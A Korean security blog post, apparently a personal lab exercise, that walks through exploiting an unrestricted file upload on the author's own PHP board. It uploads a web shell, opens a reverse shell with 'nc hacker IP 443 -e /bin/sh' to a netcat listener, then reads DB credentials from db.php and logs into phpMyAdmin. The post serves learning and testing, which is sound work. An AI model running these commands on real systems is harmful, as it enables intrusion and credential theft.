
File Upload
File Upload 취약점이란 공격자가 임의의 파일을 업로드 할 수 있는 공격입니다.
개인 웹서버의 게시판에 파일을 업로드 해보겠습니다.

게시판을 만들 때 파일 업로드 취약점 대응방안을 조치 안했기 때문에 .php 파일이 업로드가 됩니다.
해당 웹쉘 파일에는 한 줄 웹쉘이 들어가 있는 웹 쉘 파일을 업로드 했습니다.

파일 다운로드 경로가 노출 되있어서 바로 웹쉘을 실행했습니다.
ls 명령어를 입력하니 upload 된 파일들이 나옵니다.
하지만 명령어를 입력하는게 많이 불편합니다. 전에 명령어를 기억 못하기 때문에 실제 환경과는 많이 다릅니다.
실제 환경처럼 조작하기 위해서 Reverse Shell을 해보도록 하겠습니다.

Reverse Shell
리버스쉘은 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태 입니다.
리버스쉘은 방화벽 정책과 관련이 있는데, 방화벽 정책은 외부에서 들어오는 불필요한 요청에 대해서는 모두 차단되지만, 내부에서 외부로 나가는 정책은 허용된 경우가 많기 때문 입니다.
공격자 PC
nc -nlvp 443
"nc -nlvp 443"는 `nc` (netcat) 명령어를 사용하여 443 포트에서 연결을 수신 대기하도록 지정하는 것을 의미합니다.
여기서 각 옵션은 다음과 같은 의미를 갖습니다:
- `-n`: DNS 이름 해석을 비활성화하여 IP 주소만 표시합니다.
- `-l`: 로컬에서 연결을 수신 대기합니다.
- `-v`: 상세한 출력 모드로 동작하며 연결 및 전송에 대한 정보를 표시합니다.
- `-p 443`: 443 포트를 사용하여 연결을 수신 대기합니다.
즉, 위 명령을 실행하면 해당 시스템은 443 포트에서 들어오는 연결을 수신 대기하며, 연결이 수립되면 상세한 정보를 표시합니다.
공격대상 서버
nc hacker IP 443 -e /bin/sh
nc (netcat) 명령어를 사용하여 hacker IP 주소의 호스트의 443 포트로 연결을 시도하고,
연결이 성공하면 /bin/sh 쉘을 실행하는 것을 의미합니다.
Reverse Shell 실습


웹 쉘로 서버에 공격자가 열어놓은 포트로 연결을 하면...

위 사진처럼 연결이 되면서 명령어를 연속으로 쳐도 실제환경처럼 작동된다.
해당 웹사이트의 DB 정보를 탈취하기 위해서 my_site 디렉토리 경로에서 파일을 조회해본 결과 db.php 파일이 보인다.


cat 명령어로 확인해본 결과 my_site DB의 아이디와 비밀번호가 나와있다.
해당 사이트는 php를 이용하기 때문에 phpMyAdmin에 접속해 로그인을 시도했다.

로그인이 성공해 my_site 의 DB 정보를 열람할 수 있게 됬다.

하지만 현재 사용자는 www-data 이기 때문에 웹서버를 강제로 shutdown 시키는 등의 행위 즉, root 권한이 필요한 행위는 할 수 없다. 권한상승을 통해서 root 권한을 획득할 수 있는데 권한상승은 좀 더 공부 한 다음에 하도록 하겠습니다.
'Security > Web' 카테고리의 다른 글
| XSS와 CSRF의 차이 (0) | 2023.05.23 |
|---|---|
| XSS(Cross Site Script) 정리 (0) | 2023.05.19 |
| SQL Injection 정리 (0) | 2023.05.07 |
| [Web] Same Origin Policy(SOP) (0) | 2023.04.20 |
| [SQL Injection] 로그인 CASE와 우회방법 (0) | 2023.04.16 |